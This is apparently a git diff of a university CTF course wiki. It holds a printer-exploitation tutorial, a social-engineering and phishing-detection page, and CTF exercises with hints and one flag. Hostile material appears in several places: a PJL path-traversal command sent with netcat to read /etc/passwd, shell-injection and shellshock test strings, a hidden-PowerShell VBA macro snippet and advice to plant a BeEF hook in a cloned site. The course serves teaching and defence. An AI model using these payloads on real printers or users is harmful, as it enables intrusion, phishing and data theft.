If you are lucky and inside the current session of Windows exists the file C:\Windows\MEMORY.DMP** (It is a memory dump) you could try to search inside of it the recovery password. You can get this file and a copy of the filesytem and then use Elcomsoft Forensic Disk Dercyptor to get the content (this will only work if the password is inside the memory dump). You coud also force the memory dump* using NotMyFault* of Sysinternals, but this will reboot the system and has to be executed as Administrator.

+

You could also try a bruteforce attack using *Passware Kit Forensic*.

+

An Introduction to Printer Exploitation

+

Preface

+

Note: As always the following is just a digest of all the things I could observe by working on printers myself or facts from stuff I read about recently.

+

Since this thread about the HP printer promo videos 3 caught some attention I will try to shed some light onto the field which was displayed there. +First of all we should keep in mind this was a promo video made by a company. +So always ask yourself this: “How real are the displayed scenarios, or are these just ‘Hollywood fabrications’?”

+

I had some access to different printers over the last couple of month and learned some basic principles, which I wanna share with +you as good as possible now. +Printer use a various amount of protocols and firmwares which differ from vendor to vendor and model to model. +So this first part might be boring to some, you can try to skip the theoretical part and jump right to the exploitation paragraph, but talking about fundamentals will cover important topics.

+

Printer as an attack vector?

+
    +
  • So why would I even want to target a printer in the first place?
  • +
  • Why not just target Desktop or Server environments with malware as usual?
  • +
+

We get to that in next couple of paragraphs

+

Required Skills

+

Not much to mention here

+
    +
  • basic ability to read for more than 5 minutes
  • +
+
+

Printer a viable target or just wasted time?

+

Local vs Network printers

+

Local printers are just directly connected to a desktop PC and are rather uninteresting. +These days almost all printers seem to be network printers though. +So basically network printing enables users in locations geographically separate from each other and from their print devices to produce documents for themselves and others. +Print servers enable multiple clients to share one or more print devices. +So far so easy right? +Let’s jump directly to some highlevel view which explains every network printer quite well.

+

Highlevel view

+

A highlevel view of current network printers might look something like this:

+
  +----------------------------------------------------+
+                       | Network printing protocols    |
+   Printing channel    +-------------------------------+--+
+                       |                                  |
+                       | IPP, LPD, SMB, raw port 9100     |
+                       |                                  |
+  +--------------------------------------------------+    |
+                       | job/printer control langs.  |    |
+   Printer language    +-----------------------------+--+ |
+                       |                                | |
+                       |  PJL, PML                      | |
+                       |                                | |
+                       | +------------------------+     | |
+                       | | Page descr. langs.     |     | |
+                       | +------------------------+---+ | |
+                       | |                            | | |
+                       | | PS, PCL, PDF, XPS, ...     | | |
+                       | |                            | | |
+                       | +----------------------------+ | |
+                       +--------------------------------+ |
+                       +----------------------------------+
+
+

Note: This diagram might be incomplete!

+

=The network printing protocol acts as a channel to deploy print jobs, which either contain the page description language directly or first invoke a printer/job control language!

+

Let’s take a look at each of those sections in the diagram above more closely and cover some fundamentals.

+
+

Fundamentals

+

Firmware

+

Printer use, in my experience a couple of different operating systems for embedded devices. +I’ll list a few of them here, but won’t really dive into them, since it would go beyond the scope of this article.

+ +

With the different, but limited pool of printers I’ve had access to all of them had some things in common in the end.

+
    +
  • slimmed down instruction/command set - reduced functionality,
  • +
  • ‘legacy kernels’ - often around kernel version 2.6.XYZ,
  • +
  • might include ‘hidden’ functionality, which can be enabled through a little patch - e.g.: ssh files are there, but need to be enabled in config files,
  • +
  • ssh is more present in printers designed for offices, compared to home printers for some reason,
  • +
  • sometimes the way the firmware is stored is hilarious - e.g.: on a SD card you can remove/switch within 30 seconds of physical access
  • +
+

These facts show that printers might be vulnerable to certain attacks, but still these attacks +often are made more ‘complicated’, because certain functions aren’t even there or somehow have to get enabled through (remote) file system writes…

+

Next a wild bunch of protocols is used for communication between Printers, print servers, desktop PCs and even internally within a printer. +Let’s take a look!

+

Network printing protocols

+

To summarize it right away there are a bunch of ‘exotic’ protocols for network printing (NCP or AppleTalk for example) +To explain and mention them all here would be too much again. +If anyone is interested in some specifics or a follow up post I’d answer any questions there.

+

In the Windows world, SMB/CIFS printer are popular. +The most common printing protocols supported directly by network printers however are LPD, IPP, and raw port 9100 printing, which I will explain a bit more in depth now. +Furthermore, some devices support printing over generic protocols such as FTP or HTTP file uploads as well.

+
LPD
+

LPD is short for ‘Line Printer Daemon’-protocol. +It runs on port 515/TCP and can be accessed by using ‘lpr’ over the CLI. +To print things, the client sends a control file defining job/username and a data file containing the actual data to be printed.

+
IPP
+

IPP is an extendable protocol and based on HTTP, so it inherits all existing security features like basic authentication and SSL/TLS encryption. +To submit a print job, a HTTP POST request is sent to the IPP server, which listens on 631/TCP. +For anyone wondering CUPS is an IPP implementation, which is a default printing system in many Linux distributions and macOS X.

+
SMB
+

SMB, short for ‘Server Message Block’ is an application-layer network protocol, which handles file and printer sharing. +It’s used by default on Windows. +Usually it runs on 445/TCP.

+
Port 9100
+

Also known as ‘raw printing’, since it makes use of connecting to 9100/TCP of a network printer. +It is the default method used by CUPS and the Windows printing architecture. +Here all data sent is directly processed by the printing device, just like a parallel connection over TCP. +In contrast to LPD, IPP and SMB interpreted printer control/page description languages, this one here is capable of sending direct feedback to the client, including status and error messages. +So we have a bidirectional channel here, which directly can give us access to results of the Printer control languages!

+

Printer Control Languages

+

Basically a job control language manages settings like output trays for the current job. +It often just sits in between the printing protocol and the page description language. +Printer control and management languages are designed to affect not only a single print job but the device as a whole. +I’m not too knowledgeable here but the two most basic ones are listed below.

+
SNMP
+

SNMP, short for ‘Simple Network Management Protocol’ listens on 161/UDP. +Was designed to manage network components

+
PJL
+

PJL, short for ‘Printer Job Language’ is the kinda de-facto standard now +Can be used to manipulate general settings, also with permanent changes. +There are many dialects as vendors tend to support only a subset of the commands listed in the PJL reference and instead prefer to add proprietary ones. +PJL is also used to set the file format of the actual print data to follow, which makes it interesting for various attacks.

+

Page Description Languages (PDL)

+

This one basically specifies how the actual document will look like appearance wise. +Here comes the printer driver into play which kinda translate the file to be printed into a PDL that is understood by the printer.

+
PostScript (PS)
+

Is well known and made by Adobe and is widely used as a PDL. +PS is capable of far more than just defining the appearance of the document and handling vector graphics though. +That’s why, when used correctly, PS can be used for a variety of attacks such as denial of service (for example, through infinite loops), print job manipulation and retention as well as gaining access to the printer’s file system.

+
PCL
+

As a minimalist page description language supported by a wide variety of vendors and devices. +Is also a de-facto Standard nowadays. +It’s also not intended to get direct access to the underlying filesystem. +So it’s not that well suited for exploitation purposes, but still has it’s place for such purposes as well.

+
+

Possible Exploits

+
Who would put a printer on the Internet?
+

I just leave this data as a first expression here

+
+

shodan count port:9100 pjl +29111 +[7/07/20 7:42:13] dev@ops +shodan count port:515 lpd +50607 +[7/07/20 7:42:46] dev@ops +shodan count port:631 ipp +90760 +[7/07/20 7:43:10] dev@ops +shodan count port:161 snmp +7876

+
+

Data from: 07.07.2020

+

Attack Vectors

+
Remote
+

As easily seen above a lot of printers are connected to the Internet through port 9100, which make them attackable. +You either know the IP or can just scan for some in your neighborhood radius/ check shodan. +Once you have some you might get a SSH connection going. +Often standard login credentials are still used, which you can easily scrape from the Internet…

+
Inside job
+

If you have physical access to the printer you can also plug in an USB drive or even a SD card.

+

Possible Mayhem one can cause…

+

So now we’re kinda back to the linked topic at the beginning of the small web series directed by HP. +So how realistic are the shown scenarios?

+
DoS
+
    +
  • Transmission Channel - basically block the/one printing port to keep the printer busy and don’t print anything anymore.
  • +
  • Document processing - manipulate a Document via PDL and let the printer interpret it… e.g.: an infinite loop in PS.
  • +
  • Physical damage - malware causing writes on NVRAM chips which have a life expectancy of ~10^5 writes 30.
  • +
+
Privilege Escalation
+
    +
  • Factory defaults - reset to factory defaults to bypass authentication.
  • +
  • Accounting bypass - similar thing here, printing without authentication.
  • +
+ +
    +
  • Print job retention - Try to find stored print jobs on the printer and extract those.
  • +
  • Print job manipulation - Alter print jobs. You can imagine the possible mayhem caused itself.
  • +
+
Information Disclosure
+
    +
  • Memory access - may lead to finding sensitive data like passwords or printed documents.
  • +
  • File system access - potentially retrieve sensitive information like configuration files or stored print jobs.
  • +
  • Credential disclosure - brute force attacks against changed default login credentials to gain access
  • +
+
Code Execution
+
    +
  • Buffer overflows - printers provide additional languages and network services, potentially prone to this kind of attack
  • +
  • Firmware updates - it is common for printers to deploy firmware updates as ordinary print jobs cough malicious firmware cough
  • +
  • Software packages - ‘custom tailored and manipulated printer apps’
  • +
+
Misc
+
    +
  • Malware - target network printers and spread it in local networks to other peers.
  • +
+
possible scenarios
+

Depending on the planned attack and possible access one has a variety of attack vectors. +One need more planning than others. +Some need physical access and some can be done from remote. +Combinations of those are easily possible!

+

For example issuing a malicious firmware update via a simple print job (possible case: no authentication needed), which extracts sensitive data and renders the printer useless. +-Printer ‘ransomware’ may be a thing, even if it sounds kinda weird.

+

So to conclude this section, I think the shown attacks in the videos were presented a tad to ‘flashy’, but are indeed possible depending on the printers and network they are placed in.

+
+

Tools

+

A lot of these techniques mentioned above need some serious work or knowledge about the underlying structure ( e.g.: used PDL, PCL). +Even though these might be fairly easily found out using manuals or online search it’s still a hassle and extra work. +So people already made our lifes more easy by providing tools for almost all tasks mentioned above :).

+
BeEF
+

The Browser Exploitation Framework (BeEF) is a penetration testing tool that focuses on the web browser. +It allows the penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. +This is not really printer specific, but it is a framework to implement cross-site printing 48 functionality.

+
Praeda
+

Praeda - “An Automated Printer Data Harvesting Tool” written in perl. +Also a tool to help pentesters to gather usable data during security assessment jobs. +Praeda systematically collects sensitive information from the printer’s embedded web server. +This includes device passwords, usernames, email addresses which might be available publicly on the web interface.

+
PRET 328
+

This one is real nifty tool written in python to check for basically every attack vector I mentioned above. +It tries to connect to the printer via network or USB and tries to exploit the used printer languages, currently supported are PS, PJL and PCL. +When successfully connected one has a ton of available commands. +A full list can be found on the Github, linked below.

+
LES
+

Linux Exploit Suggester is a neat little perl script, which gives some options for possible exploits depending on your kernel. +As stated above the kernel versions for embedded operating systems are often far lower, compared to current linux based desktop or server distributions. +So old, usually fixed exploit techniques might still be viable here!

+

Note: It is likely, that perl is not present in it’s full range and copying it to a printer is extra work. +Luckily one can run simply run in a desktop environment and specifying the kernel you want to exploit

+
+

My home printer - a journey to find a way in!

+

Ok what is a basic plan to concentrate on when trying to exploit a printer? +I’ve given a lot of theory until this point, as well as some “Do’s” and “Mights”. +Maybe you’ve got some ideas on your own already, but here’s a little experimental journey from me.

+

So first thing that is obvious is to check for open ports and an OS fingerprint. +Luckily we have nmap. +Nmap is bae for this.

+
Where’s the door?
+
$ sudo nmap 192.168.1.108
+Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST
+Nmap scan report for 192.168.1.108
+Host is up (0.031s latency).
+Not shown: 993 closed ports
+PORT     STATE SERVICE
+80/tcp   open  http
+139/tcp  open  netbios-ssn
+443/tcp  open  https
+445/tcp  open  microsoft-ds
+515/tcp  open  printer
+631/tcp  open  ipp
+9100/tcp open  jetdirect
+MAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)
+
+Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
+
+Device type: specialized
+Running: Linux 2.6.X
+OS CPE: cpe:/o:linux:linux_kernel:2.6
+OS details: Linux 2.6.31 - 2.6.35 (embedded)
+Network Distance: 1 hop
+
+OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
+$
+
+

So we have the usual printing ports open, as well as some other basic ones. +It is running an older Linux as well, so no big surprise there! +No open 22/TCP port though. +So causing mayhem on the file system is not possible as of now.

+
PRET and done?
+

I’ve praised PRET quite a bit above, so let’s give it a try to check if my Epson printer has a nice, hopefully standard set of supported printer languages!

+
$ python pret.py 192.168.1.108 -s PS
+
+Checking for IPP support:       found
+Checking for HTTP support:      found
+Checking for SNMP support:      found
+Checking for PS support:        not found
+$
+
+$ python pret.py 192.168.1.108 -s Pjl
+Checking for IPP support:       found
+Checking for HTTP support:      found
+Checking for SNMP support:      found
+Checking for PJL support:       not found
+$
+
+$ python pret.py 192.168.1.108 -s PCL
+Checking for IPP support:       found
+Checking for HTTP support:      found
+Checking for SNMP support:      found
+Checking for PCL support:       not found
+$
+
+

So no SSH and not even a standard version here… +Most likely the result of my vendor using some exotic stuff again and not keeping things simple …

+

Anyway using PRET is easy and self explanatory, once connected a help function will give you an overview of available stuff! +From checking the file-system. creating directories, changing configuration files or even dumping the whole NVRAM. +PRET can do it all (in theory that is ).

+

After trying a few things to find a way to make PRET work for me I trashed that idea for now and moved on!

+
LES
+

So I wanted to have some fun now after the two disappointing results :D. +So let’s dig deeper into what Linux exploits might get suggested for our version!

+
$ perl Linux_Exploit_Suggester.pl -k 2.6.31
+
+Kernel local: 2.6.31
+
+Searching among 65 exploits...
+
+Possible Exploits:
+[+] american-sign-language
+   CVE-2010-4347
+   Source: http://www.securityfocus.com/bid/45408/
+[+] can_bcm
+   CVE-2010-2959
+   Source: http://www.exploit-db.com/exploits/14814/
+[+] do_pages_move
+   Alt: sieve    CVE-2010-0415
+   Source: Spenders Enlightenment
+[+] half_nelson
+   Alt: econet    CVE-2010-3848
+   Source: http://www.exploit-db.com/exploits/6851
+[+] half_nelson1
+   Alt: econet    CVE-2010-3848
+   Source: http://www.exploit-db.com/exploits/17787/
+[+] half_nelson2
+   Alt: econet    CVE-2010-3850
+   Source: http://www.exploit-db.com/exploits/17787/
+[+] half_nelson3
+   Alt: econet    CVE-2010-4073
+   Source: http://www.exploit-db.com/exploits/17787/
+[+] msr
+   CVE-2013-0268
+   Source: http://www.exploit-db.com/exploits/27297/
+[+] pipe.c_32bit
+   CVE-2009-3547
+   Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
+[+] pktcdvd
+   CVE-2010-3437
+   Source: http://www.exploit-db.com/exploits/15150/
+[+] ptrace_kmod2
+   Alt: ia32syscall,robert_you_suck    CVE-2010-3301
+   Source: http://www.exploit-db.com/exploits/15023/
+[+] rawmodePTY
+   CVE-2014-0196
+   Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
+[+] rds
+   CVE-2010-3904
+   Source: http://www.exploit-db.com/exploits/15285/
+[+] reiserfs
+   CVE-2010-1146
+   Source: http://www.exploit-db.com/exploits/12130/
+[+] video4linux
+   CVE-2010-3081
+   Source: http://www.exploit-db.com/exploits/15024/
+$
+
+

Note: If these are viable and meet all dependencies has to be checked of course, but a brief look at them made me decide not to spend too much effort here.

+
Manual PJL Injection
+

So I thought why not check for PJL again and try invoking some command strings manually in combination with netcat as a listener!

+

So I tried using:

+
echo "@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648" | nc -v -v 192.168.1.108 9100
+# If successful this should display the */etc/passwd* file.
+
+

or

+
echo "@PJL INFO ID" | nc -v -v 192.168.1.108 9100
+# If successful this should get the *printer’s device information*
+
+

as well as other PJL command injecting techniques, but my printer is not accepting any of these. +It’s not reacting at all to this kind of ‘attack’…

+

I’m not knowledgeable enough to launch this with PS and PCL as well, because their command syntax differs greatly (obviously). +I’m remaining with a note to search for PS and PCL attack strings.

+
A PRET test script to the rescue?
+

So PRET doesn’t work for my home printer as seen above. +Interestingly I found that there is a script “hidden” within the PRET source folder called “lpdtest.py” +It can test for known, but older (like really older) vulnerabilities within the Line Printer Daemon, listed here 60. +This involves some basic tests:

+
‘get’ Test
+

Trying to get (aka print) a file from printer’s file system.

+

$ lpdtest.py printer get /etc/passwd +$ lpdtest.py printer get …/…/…/etc/passwd

+

etc…

+
‘in’ Test
+

This test is for fuzzing around with user input (hostname,username, jobname, filenames, etc.). +This might be useful to test for interpretation of shell commands…

+
# Test for environment variables
+$ lpdtest.py printer in '$UID'
+
+# Test for pipes and redirects
+$ lpdtest.py printer in '| pwd'
+$ lpdtest.py printer in '>/etc/passwd'
+
+# Test for backticks
+$ lpdtest.py printer in '`ls`'
+
+# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)
+$ lpdtest.py printer in '() {:;}; /bin/ping -c1 1.2.3.4'
+
+

As expected these attacks were already fixed. +My printer spit out a few pages with lines like

+

“If you can read this lpdtest.py XYZ failed!”

+

So the result here some wasted paper and ink…

+
+

Summary

+

Why Printer Exploitation?

+
    +
  • (most) printers are already full blown computers!
  • +
  • Printer as port/network/exploits scanner
  • +
  • Computing/hash-cracking/sniffing
  • +
  • Malware upload
  • +
  • “Stealth”/“uncleanable” command and control
  • +
  • Unencrypted data theft
  • +
+

Afterthoughts

+
    +
  • How many people would expect their printers is infected?
  • +
  • How many users/admins/security-auditors audit and hard secure their network printers?
  • +
  • How many persons or anti malware products could clean such a malware?
  • +
  • …?
  • +
+

Outlook and closing words

+

If I get the hands on some nicer printer I will deliver some exploit stuff later on I promise. +If I get some more time to get a breakdown of my current home printer so I can take a look under the hood and to figure something out. +An example here would be to capture a firmware update and trying to unpack/reverse that one. +This would take a lot more time and preparation of my part, which would cause serious delay to this article as well.

+

So I’m keeping it rather open ended now, but I hope I could inspire some minds here to take a closer look as well. +Furthermore I hope this article reached the people who were interested and were able learn some things. +So if you want to try to exploit your own device, just try it out! +Remember:

+
    +
  • Find a way into the system,
  • +
  • Check for the used printer languages and try code injection techniques for these,
  • +
  • Try dumping the file system directory structure from the web interface,
  • +
  • Upload self created “malicious” firmware if it is supported,
  • +
  • Find a new way
  • +
+

I’m looking forward to feedback and improvement suggestions.

+

Further readings

+
Article related resources:
+ +
Extras:
+ +

Exercise

+

(4 pt) GO!! Chase the free wave!

+

[-] ~~Hackergame 2021 challenge "去吧!追寻自由的电波"~~

+

[+] Inspired by Hackergame. Original created challenge.

+

[an interesting story]

+

OK now you have this mp3 file, please find the flag.

+

video.mp3

+

Hint1: it's too fast to understand!

+

Hint2: if I can let the time move backwards, this might be easier.

+

Hint3: some online OCR might be helpful. For example, https://speech-to-text-demo.ng.bluemix.net/

+

(4 pt) Mechanical Keyboard

+

Have you faced the situation, that your roommate is playing games so late and the sound of mechanical keyboard is super noisy?

+

Meanwhile, especially you have midterm exam the next day.

+

You decide to record this sound and try to find some interesting key taps from your roommate.

+

(Account password, secret chat with girlfriend, or pxxxhub keywords...)

+

dist.zip

+

Hint1: the key taps only contain lower case characters and spaces.

+

Hint2: keyboard sniffing paper: https://www.davidsalomon.name/CompSec/auxiliary/KybdEmanation.pdf

+

Hint3: online key tap detector: https://keytap2.ggerganov.com/

+

Hint4: another (faster) method: recognize key tap sound, generate a substitution cipher and break.

+

Hint5: flag only contains lower case characters and underline (replace all spaces to underlines).

+

Example program to generate key sound average:

+
from scipy.io import wavfile
+samplerate, data = wavfile.read('./output.wav')
+
+i = 0
+countsilent = 0
+samplefound = 0
+
+avg = []
+start = 0
+end = 0
+avg.append([0])
+
+for sample in data:
+    i+=1    
+    if(sample[1]<100):
+        countsilent += 1
+    if(countsilent > 10000 and sample[1]>100):
+        countsilent = 0
+        #print(str(i)+": sample found")
+        start = i
+        samplefound = 1
+    if(countsilent > 8000 and samplefound==1):
+        samplefound = 0
+        #print(str(i)+": sample ended")
+        end = i
+        avg[len(avg)-1]=avg[len(avg)-1]/(end-start)
+        print("avg: "+str(avg[len(avg)-1]))
+        avg.append([0])
+    if (samplefound == 1):
+        avg[len(avg)-1] += sample[1]
+
+

Example program to map sound to character:

+
alphabet = "abcdefghijklmnopqr stuvwxyz"
+avg = {}
+
+i=0
+
+res=""
+
+with open("avg") as file:
+    for line in file:
+        value = line.rstrip()[6:-1]
+        #print(value)
+        if str(value) not in avg:
+            avg[str(value)]=alphabet[i]
+            i+=1
+        res+=avg[str(value)]
+print(avg)
+print(res)
+
+

Online substitution cipher solver: https://www.boxentriq.com/code-breaking/cryptogram

+

(2 pt) Free USB

+

A stranger has left his USB on my desk.

+

[plug in...]

+

OMG my mouse is out of control!

+

usb.pcapng

+

Hint1: packet is a USB capture, used for Logitech Optical Mouse.

+

Hint2: IRP ID is the only part changes in capture, which represents the mouse move.

+

Hint3: Gnuplot is an application to simulate mouse clicks.

+

Hint4: the first word in flag is "tHE".

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 9/index.html b/CS315/2021/Week 9/index.html new file mode 100644 index 000000000..ae50519f0 --- /dev/null +++ b/CS315/2021/Week 9/index.html @@ -0,0 +1,8681 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week9 MISC: Social Engineering - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Week9 MISC: Social Engineering

+

According to @Hacktricks: https://book.hacktricks.xyz/

+

Clone a Website

+

For a phishing assessment sometimes it might be useful to completely clone a website.

+

Note that you can add also some payloads to the cloned website like a BeEF hook to "control" the tab of the user.

+

There are different tools you can use for this purpose:

+

wget

+
wget -mk -nH
+
+

goclone

+
#https://github.com/imthaghost/goclone
+oclone <url>
+
+

Social Engineering Toolit

+
#https://github.com/trustedsec/social-engineer-toolkit
+
+

Detecting Phising

+

Introduction

+

In order to detect a phishing attempt it's important to understand the phishing techniques that are being used nowadays. In the parent page of this post you can find this information, so if you aren't aware of which techniques are being used today I recommend you to go to the parent page and read at least that section.

+

This post is based in the idea that the attackers will try to somehow mimic or used the victim's domain name. If your domain is called example.com and you receive a phishing that is using a completely different domain name for some reason like youwonthelottery.com, this techniques aren't going to uncover it.

+

Domain name variations

+

It's kind of easy to uncover those phishing attempts that will use a similar domain name inside the email. It's enough to generate a list of the most probable phishing names that an attacker may use and check if it's registered or just check if there is any IP using it.

+

Finding suspicions domains

+

For this purpose you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it:

+ +

Bitflipping

+

In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes. This applies to domains too. For example, windows.com becomes 01110111... in the volatile memory of your computing device. However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa. Applying this concept to DNS request, it's possible that the domain requested that arrives to the DNS server isn't the same as the domain initially requested.

+

For example a 1 bit modification in the domain microsoft.com can transform it into windnws.com. Attackers may register as many bit-flipping domains as possible related to the victim in order to redirect legitimate users to their infrastructure.

+

For more information read https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/

+

All possible bit-flipping domain names should be also monitored.

+

Basic checks

+

Once you have a list of potential suspicions domain names you should check them (mainly the ports HTTP and HTTPS) to see if they are using some login form similar to someone of the victim's domain. You could also check the port 3333 to see if it's open and running an instance of gophish. It's also interesting to know how old each discovered suspicions domain is, the younger it's the riskier it is. You can also get screenshots of the HTTP and/or HTTPS suspicious web page to see if it's really suspicious and in that case access it to take a deeper look.

+

Advanced checks

+

If you want to go one step further I would recommend you to monitor those suspicious domains and search for more once in a while (every day? it only takes a few seconds/minutes). You should also check the open ports of the related IPs and search for instances of gophish or similar tools (yes, attackers also make mistakes) and monitor the HTTP and HTTPS web pages of the suspicions domains and subdomains to see if they have copied any login form from the victims web pages. In order to automate this I would recommend to to have a list of login forms of the victims domains, spider the suspicions web pages and compare each login form found inside the suspicions domains with each login form of the victim's domain using something like ssdeep. If you have located the login forms of the suspicions domains you can try to send junk credentials and check if it's redirecting you to the victims domain.

+

Domain names using keywords

+

The parent page also mentions a domain name variation technique that consist on putting the victim's domain name inside a bigger domain (e.g. paypal-financial.com for paypal.com).

+

Certificate Transparency

+

It's not possible to take the previous "Brute-Force" approach but it's actually possible to uncover this phishing attempts also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that reading the certificate transparency or even monitoring it, it's possible to find domains that are using a keyword inside it's name For example, if attackers generates a certificate of https://paypal-financial.com, seeing the certificate it's possible to find the keyword "paypal" and know that that suspicions email is being used.

+

The post https://0xpatrik.com/phishing-domains/ suggest that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt":

+

img

+

However, you can do "the same" using the free web crt.sh. You can search for the keyword and the filter the results by date and CA if you whish.

+

img

+

Using this last option you can even use the field Matching Identities to see if any identity from the real domain matches any of the suspicious domain (note that a suspicious domain can be a false positive).

+

Another alternative is the fantastic project called CertStream. CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called phishing_catcher that does just like that.

+

New domains

+

One last alternative is to gather a list of newly registered domains for some TLDs (Whoxy provides such service) and check the keywords in these domains. However, long domains usually uses one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain.

+

Phishing Documents

+

Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.

+

Usually Word files containing macros uses the .docm extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities. For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution. The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.).

+

You can use the following command to check which extensions are going to be executed by some Office programs:

+
assoc | findstr /i "word excel powerp"
+
+

DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.

+

Word with external image

+

Go to: Insert --> Quick Parts --> Field Categories*: Links and References, Filed names*: includePicture, and Filename or URL*:* http://%3Cip%3E/whatever

+

img

+

Macros Code

+
Dim author As String
+author = oWB.BuiltinDocumentProperties("Author")
+With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
+ .StdIn.WriteLine author
+ .StdIn.WriteBlackLines 1
+
+

Autoload functions

+

The more common they are, the more probable the AV will detect it.

+
    +
  • AutoOpen()
  • +
  • Document_Open()
  • +
+

Malicious Macros Generators

+

MacOS

+ +

Exercise

+

(4 pt) Sanity Check

+

Got some reviews that our challenges are so hard. Frank becomes so sad because there's no difficult challenges this week.

+

We even have a sanity check for the first challenge.

+

flag{1_l0v3_54n17y_ch3ck_ch4ll5}

+

Hint1: the flag is in question description.

+

Hint2: the flag is in plain text.

+

(4 pt) VidCap

+

Found this pcap of my ex's network traffic. I knew they're streaming video but I can't extract it. Can you help me ?

+

Hint1: this challenge is from COMPFEST 13.

+

Hint2: successfully extract files in the zip leads to the checkpoint.

+

video.zip

+

(2 pt) Archaeology

+

Windows XP is a great OS. When cleaning my Windows XP laptop, something unfortunate happened...

+

Hint1: after you found the docx, use XOR brute. This isn't a macro forensics.

+

Archaeology.zip from MEGA

+

Archaeology.zip from Baidu Disk with password l720

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/file/Week 1 sol.pdf b/CS315/2021/file/Week 1 sol.pdf new file mode 100644 index 000000000..14348b756 Binary files /dev/null and b/CS315/2021/file/Week 1 sol.pdf differ diff --git a/CS315/2021/file/Week 13-1.png b/CS315/2021/file/Week 13-1.png new file mode 100644 index 000000000..33653dcb1 Binary files /dev/null and b/CS315/2021/file/Week 13-1.png differ diff --git a/CS315/2021/file/Week 14-1.png b/CS315/2021/file/Week 14-1.png new file mode 100644 index 000000000..beff74ed1 Binary files /dev/null and b/CS315/2021/file/Week 14-1.png differ diff --git a/CS315/2021/file/Week 14-2.png b/CS315/2021/file/Week 14-2.png new file mode 100644 index 000000000..4f304b6fd Binary files /dev/null and b/CS315/2021/file/Week 14-2.png differ diff --git a/CS315/2021/file/Week 14-3.png b/CS315/2021/file/Week 14-3.png new file mode 100644 index 000000000..470b864b6 Binary files /dev/null and b/CS315/2021/file/Week 14-3.png differ diff --git a/CS315/2021/file/Week 14-4.png b/CS315/2021/file/Week 14-4.png new file mode 100644 index 000000000..9c34d8ec7 Binary files /dev/null and b/CS315/2021/file/Week 14-4.png differ diff --git a/CS315/2021/file/Week 14-5.png b/CS315/2021/file/Week 14-5.png new file mode 100644 index 000000000..f26e8946f Binary files /dev/null and b/CS315/2021/file/Week 14-5.png differ diff --git a/CS315/2021/file/Week 2 sol.pdf b/CS315/2021/file/Week 2 sol.pdf new file mode 100644 index 000000000..5fe2b4309 Binary files /dev/null and b/CS315/2021/file/Week 2 sol.pdf differ diff --git a/CS315/2021/file/Week 2.pdf b/CS315/2021/file/Week 2.pdf new file mode 100644 index 000000000..22cb2769d Binary files /dev/null and b/CS315/2021/file/Week 2.pdf differ diff --git a/CS315/2021/file/Week 3 sol.pdf b/CS315/2021/file/Week 3 sol.pdf new file mode 100644 index 000000000..5a59f6fbd Binary files /dev/null and b/CS315/2021/file/Week 3 sol.pdf differ diff --git a/CS315/2021/file/Week 3-1.jpg b/CS315/2021/file/Week 3-1.jpg new file mode 100644 index 000000000..37a523f29 Binary files /dev/null and b/CS315/2021/file/Week 3-1.jpg differ diff --git a/CS315/2021/file/Week 4 sol.pdf b/CS315/2021/file/Week 4 sol.pdf new file mode 100644 index 000000000..b71820527 Binary files /dev/null and b/CS315/2021/file/Week 4 sol.pdf differ diff --git a/CS315/2021/file/Week 5 sol.pdf b/CS315/2021/file/Week 5 sol.pdf new file mode 100644 index 000000000..5405eecc1 Binary files /dev/null and b/CS315/2021/file/Week 5 sol.pdf differ diff --git a/CS315/2021/file/Week 6 sol.pdf b/CS315/2021/file/Week 6 sol.pdf new file mode 100644 index 000000000..043c67825 Binary files /dev/null and b/CS315/2021/file/Week 6 sol.pdf differ diff --git a/CS315/2021/file/Week 7 sol.pdf b/CS315/2021/file/Week 7 sol.pdf new file mode 100644 index 000000000..224a4de88 Binary files /dev/null and b/CS315/2021/file/Week 7 sol.pdf differ diff --git a/CS315/2021/file/chall1-1.pcap b/CS315/2021/file/chall1-1.pcap new file mode 100644 index 000000000..10056c0e1 Binary files /dev/null and b/CS315/2021/file/chall1-1.pcap differ diff --git a/CS315/2021/file/chall1-2.log b/CS315/2021/file/chall1-2.log new file mode 100644 index 000000000..70365dbb5 --- /dev/null +++ b/CS315/2021/file/chall1-2.log @@ -0,0 +1,163 @@ +# 